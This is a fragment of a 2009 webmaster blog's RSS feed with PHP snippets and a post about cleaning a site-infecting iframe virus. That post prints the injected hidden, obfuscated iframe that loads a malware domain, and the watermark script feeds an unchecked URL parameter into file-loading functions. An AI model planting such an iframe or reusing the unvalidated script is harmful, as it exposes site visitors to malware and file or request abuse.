			
		
When i use str_replace for replacement in PHP, it is changing without any case sensitive. Example i want to bold HousE, code is
&#60;?
$text = &#34;I like my house.&#34;;
$string = &#34;HousE&#34;;
$text = str_replace($string,&#34;&#60;b&#62;$string&#60;/b&#62;&#34;,$text);
echo($text);
?&#62;

Php 5 have another function to solve this problem str_ireplace() . But this is solve my problem exactly. Because i want to replace case sensitive to [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fstr_replace-case-sensitive-problem%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fstr_replace-case-sensitive-problem%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>When i use str_replace for replacement in PHP, it is changing without any case sensitive. Example i want to bold HousE, code is
<pre class="brush: php;">&lt;?
$text = &quot;I like my house.&quot;;
$string = &quot;HousE&quot;;
$text = str_replace($string,&quot;&lt;b&gt;$string&lt;/b&gt;&quot;,$text);
echo($text);
?&gt;
</pre>
<p>Php 5 have another function to solve this problem <a href="http://tr.php.net/manual/en/function.str-ireplace.php" target="_blank">str_ireplace()</a> . But this is solve my problem exactly. Because i want to replace case sensitive to case sensitive.  I found this solution for my problem. I hope you&#8217;ll enjoy.</p>
<pre class="brush: php;">

function ext_str_ireplace($findme, $replacewith, $subject)
{
     // Replaces $findme in $subject with $replacewith
     // Ignores the case and do keep the original capitalization by using $1 in $replacewith
     // Required: PHP 5

     $rest = $subject;
     $result = '';

     while (stripos($rest, $findme) !== false) {
          $pos = stripos($rest, $findme);

          // Remove the wanted string from $rest and append it to $result
          $result .= substr($rest, 0, $pos);
          $rest = substr($rest, $pos, strlen($rest)-$pos);

          // Remove the wanted string from $rest and place it correctly into $result
          $result .= str_replace('$1', substr($rest, 0, strlen($findme)), $replacewith);
          $rest = substr($rest, strlen($findme), strlen($rest)-strlen($findme));
     }

     // After the last match, append the rest
     $result .= $rest;

     return $result;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/str_replace-case-sensitive-problem/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Copy a Directory to Another Server</title>
		<link>http://www.webmastersucks.com/copy-a-directory-to-another-server/</link>
		<comments>http://www.webmastersucks.com/copy-a-directory-to-another-server/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 11:09:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[another server]]></category>
		<category><![CDATA[copy directory]]></category>
		<category><![CDATA[copy server to server]]></category>
		<category><![CDATA[directory list script]]></category>
		<category><![CDATA[move server]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=228</guid>
		<description><![CDATA[
			
				
			
		
I need a script to my directory to another servers. Firstly, i tried to download from my site and upload another site but it is not so fast. Because there is lots of files in that directory. I wrote a little php script for this. I hope you will enjoy..
P.S.: This code is only copy [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fcopy-a-directory-to-another-server%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fcopy-a-directory-to-another-server%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I need a script to my directory to another servers. Firstly, i tried to download from my site and upload another site but it is not so fast. Because there is lots of files in that directory. I wrote a little php script for this. I hope you will enjoy..<br />
P.S.: This code is only copy files in that  directory, if there is another directories this script didnt copy them..</p>
<pre class="brush: php;">
&lt;?
$ftp_server = www.mysite.com;
$ftp_username = &quot;myuser&quot;;
$ftp_password = &quot;mypass&quot;;

$source_directory = &quot;/home/mywebsite/public_html/test/&quot;;
$destination_directory = &quot;public_html/test/&quot;;

$ftp_connection = ftp_connect($ftp_server);
$connection_result = ftp_login($ftp_connection, $ftp_username, $ftp_password);

if ((!$ftp_connection) || (!$connection_result)) {
        echo(&quot;&lt;font color=red&gt;Connection Error!...&lt;/font&gt;&lt;br&gt;&quot;);
        echo(&quot;&lt;font color=red&gt;$ftp_username user can't connect to $ftp_server ...&lt;/font&gt;&lt;br&gt;&quot;);
        exit;
    } else {
        echo(&quot;&lt;font color=green&gt;$ftp_username connected to $ftp_server ...&lt;/br&gt;&quot;);
    }
$copied_directory = opendir($source_directory);

while($my_file = readdir($copied_directory))
{
 if($my_file != &quot;.&quot; &amp;&amp; $my_file != &quot;..&quot;)
 {
  $source_my_file = $source_directory.$my_file;
  $target_my_file = $destination_directory.$my_file;
  
  $upload = ftp_put($ftp_connection, $target_my_file, $source_my_file, FTP_BINARY);
  
  if (!$upload)
  {
   echo &quot;&lt;font color=red&gt;Can't connect...&lt;/font&gt;&quot;;
  }
  else
  {
   echo &quot;&lt;font color=green&gt; $my_file is copied to $ftp_server ...&lt;/font&gt;&lt;br&gt;&quot;;
  }
 }
}

ftp_close($ftp_connection);
?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/copy-a-directory-to-another-server/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Iframe Virus jl.chura.pl Removal</title>
		<link>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/</link>
		<comments>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 23:18:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Html & Javascript]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[avast]]></category>
		<category><![CDATA[chura]]></category>
		<category><![CDATA[chura.pl virus]]></category>
		<category><![CDATA[clean iframe virus]]></category>
		<category><![CDATA[download avast]]></category>
		<category><![CDATA[download avast free]]></category>
		<category><![CDATA[download avast free edition]]></category>
		<category><![CDATA[free avast]]></category>
		<category><![CDATA[google badware]]></category>
		<category><![CDATA[google blocks]]></category>
		<category><![CDATA[how to clean virus jl.chura.pl rc]]></category>
		<category><![CDATA[how to remove iframe virus]]></category>
		<category><![CDATA[how to remove the jl.chura.pl]]></category>
		<category><![CDATA[html iframe virus]]></category>
		<category><![CDATA[iframe exploit]]></category>
		<category><![CDATA[iframe virus]]></category>
		<category><![CDATA[iframe virus fix]]></category>
		<category><![CDATA[iframe virus removal]]></category>
		<category><![CDATA[jk.chura.pl]]></category>
		<category><![CDATA[jl.chura.pl how to remove]]></category>
		<category><![CDATA[jl.chura.pl remove]]></category>
		<category><![CDATA[jl.chura.pl virus]]></category>
		<category><![CDATA[remove iframe virus]]></category>
		<category><![CDATA[removing jl.chura.pl]]></category>
		<category><![CDATA[trojan iframe]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virus exploit iframe]]></category>
		<category><![CDATA[virus html iframe]]></category>
		<category><![CDATA[website iframe virus]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=201</guid>
		<description><![CDATA[
			
				
			
		
Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe virus in my site. I search this virus, it is changing index and default files. Add code like here..</p>
<pre class="brush: xml;">
&lt;iframe src=&quot;http://jL.ch&amp;#117;ra.pl/rc/&quot; style=&quot;d&amp;#105;splay:none&quot;&gt;&lt;/iframe&gt;
</pre>
<h2><span style="color: #ff0000;">UPDATED (5th June 2009): </span></h2>
<p><span style="color: #ff0000;"><span style="color: #000000;">After a while, virus come back. I used Avast Free Version, that is find all viruses and removed. But it is damaged infected files. All infected .html and .php files are deleted. <a title="Download Avast" href="http://download.cnet.com/3001-20_4-10019223.html?spi=4dbf5a7a962839f84995d1ff0cbbd71c" target="_blank">Download Avast Home Edition &gt;</a></span></span></p>
<p>This virus also affected your google results. Google can block your site because of badware. You have to read &#8220;<a href="http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html" target="_blank">My site&#8217;s been hacked &#8211; now what?</a>&#8221; and after remove your virus you have to read &#8220;<a href="http://googlewebmastercentral.blogspot.com/2008/08/hey-google-i-no-longer-have-badware.html" target="_blank">Hey Google, I no longer have badware</a>&#8220;.</p>
<p><strong>PS:</strong> I am not guarenteed virus removal, these are only what i do.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>htaccess Tips, Tricks and Guide</title>
		<link>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/</link>
		<comments>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 16:43:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[default directory htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htaccess guide]]></category>
		<category><![CDATA[htaccess tips]]></category>
		<category><![CDATA[htaccess tricks]]></category>
		<category><![CDATA[redirecting subdirectories]]></category>
		<category><![CDATA[security htaccess]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=187</guid>
		<description><![CDATA[
			
				
			
		
I like .htaccess file, when i need anything that file help me. I collect htaccess tips, tricks and guide list from PerishablePress. I hope you&#8217;ll be enjoy.

Stupid htaccess Tricks
Better Default Directory Views with HTAccess
WordPress Feedburner HTAccess Redirect for Default (Non-Permalink) Feed URLs
Redirecting Subdirectories to the Root Directory via HTAccess
Redirect All Requests for a Nonexistent File [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhtaccess-tips-tricks-and-guide%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhtaccess-tips-tricks-and-guide%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I like .htaccess file, when i need anything that file help me. I collect htaccess tips, tricks and guide list from <a href="http://perishablepress.com" target="_blank">PerishablePress</a>. I hope you&#8217;ll be enjoy.</p>
<ul>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/">Stupid htaccess Tricks</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/11/02/better-default-directory-views-with-htaccess/">Better Default Directory Views with HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/10/13/wordpress-feedburner-htaccess-redirect-default-feeds/">WordPress Feedburner HTAccess Redirect for Default (Non-Permalink) Feed URLs</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/10/06/redirect-subdirectory-to-root-via-htaccess/">Redirecting Subdirectories to the Root Directory via HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/08/12/redirect-all-requests-for-a-nonexistent-file-to-the-actual-file/">Redirect All Requests for a Nonexistent File to the Actual File</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/06/17/perishable-press-htaccess-spring-cleaning-part-2/">Perishable Press HTAccess Spring Cleaning, Part 2</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/05/20/perishable-press-htaccess-spring-cleaning-part-1/">Perishable Press HTAccess Spring Cleaning, Part 1</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/05/20/improve-site-security-by-protecting-htaccess-files/">Improve Site Security by Protecting HTAccess Files</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/12/31/redirect-all-broken-links-from-any-domain-via-htaccess/">Redirect All (Broken) Links from any Domain via HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2009/05/11/htaccess-spring-cleaning/">HTAccess Spring Cleaning 2009</a></li>
</ul>
<p><a href="http://perishablepress.com/press/search/htaccess/" target="_blank">For all search result &gt;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Watermark All Uploaded Images in Wordpress</title>
		<link>http://www.webmastersucks.com/watermark-all-uploaded-images-in-wordpress/</link>
		<comments>http://www.webmastersucks.com/watermark-all-uploaded-images-in-wordpress/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 21:39:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[download watermark php]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[watermark]]></category>
		<category><![CDATA[watermark images]]></category>
		<category><![CDATA[watermark images php]]></category>
		<category><![CDATA[watermark images wordpress]]></category>
		<category><![CDATA[watermark wordpress]]></category>
		<category><![CDATA[watermarking]]></category>
		<category><![CDATA[wordpress watermark plugin]]></category>
		<category><![CDATA[wp glamour]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=171</guid>
		<description><![CDATA[
			
				
			
		
I need a code for watermarked all uploaded images in wordpress. I google it, and i find a solution in WP Glamour. You only add this codes and all of your upload images are watermarked. This very easy solution for watermark your images. Because if you try to add watermark with PhotoShop or another image [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fwatermark-all-uploaded-images-in-wordpress%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fwatermark-all-uploaded-images-in-wordpress%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignright size-full wp-image-177" title="Water Mark" src="http://www.webmastersucks.com/uploads/water-mark.jpg" alt="Water Mark" width="268" height="123" />I need a code for watermarked all uploaded images in wordpress. I google it, and i find a solution in <a href="http://wpglamour.com/how-to-watermark-all-your-uploaded-images/" target="_blank">WP Glamour</a>. You only add this codes and all of your upload images are watermarked. This very easy solution for watermark your images. Because if you try to add watermark with PhotoShop or another image program, it will be so hard for you.</p>
<p>Firstly create a file with name &#8220;watermark.php&#8221;, after you will add a rule to .htaccess file.</p>
<p><strong>watermark.php</strong></p>
<pre class="brush: php;">

&lt;?
$src = $_GET['src'];

header('Content-type: image/jpeg');

//this will prevent the watermark from showing up in the thumbnail images
if (eregi(&quot;150x150&quot;, $src)) {
 $watermark = imagecreatefrompng('empty.png');
} else {
 $watermark = imagecreatefrompng('watermark.png');
}
$watermark_width = imagesx($watermark);
$watermark_height = imagesy($watermark);
$image = imagecreatetruecolor($watermark_width, $watermark_height);
if(eregi('.gif',$src)) {
$image = imagecreatefromgif($src);
}
elseif(eregi('.jpeg',$src)||eregi('.jpg',$src)) {
$image = imagecreatefromjpeg($src);
}
elseif(eregi('.png',$src)) {
$image = imagecreatefrompng($src);
}
else {
exit(&quot;Your image is not a gif, jpeg or png image. Sorry.&quot;);
}
$size = getimagesize($src);
$dest_x = $size[0] - $watermark_width - 0;
$dest_y = $size[1] - $watermark_height - 0;
imagecolortransparent($watermark,imagecolorat($watermark,0,0));
imagecopyresampled($image, $watermark, $dest_x, $dest_y, 0, 0, $watermark_width, $watermark_height, $watermark_width, $watermark_height);

imagejpeg($image, &quot;&quot;, 95);
imagedestroy($image);
imagedestroy($watermark);
?&gt;</pre>
<p><strong>.htaccess file</strong></p>
<pre class="brush: plain;">RewriteRule ^(.*)wp-content/uploads/(.*) $1watermark.php?src=wp-content/uploads/$2</pre>
<p><a href="http://wpglamour.com/download/Watermark.zip" target="_blank">Download Source Codes &gt;</a></p>
<p><a href="http://wpglamour.com/how-to-watermark-all-your-uploaded-images/" target="_blank">Full description of script &gt;</a></p>
<p><a href="http://www.wp-watermark.com/" target="_blank">Wordpress Watermark Plugin &gt;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/watermark-all-uploaded-images-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
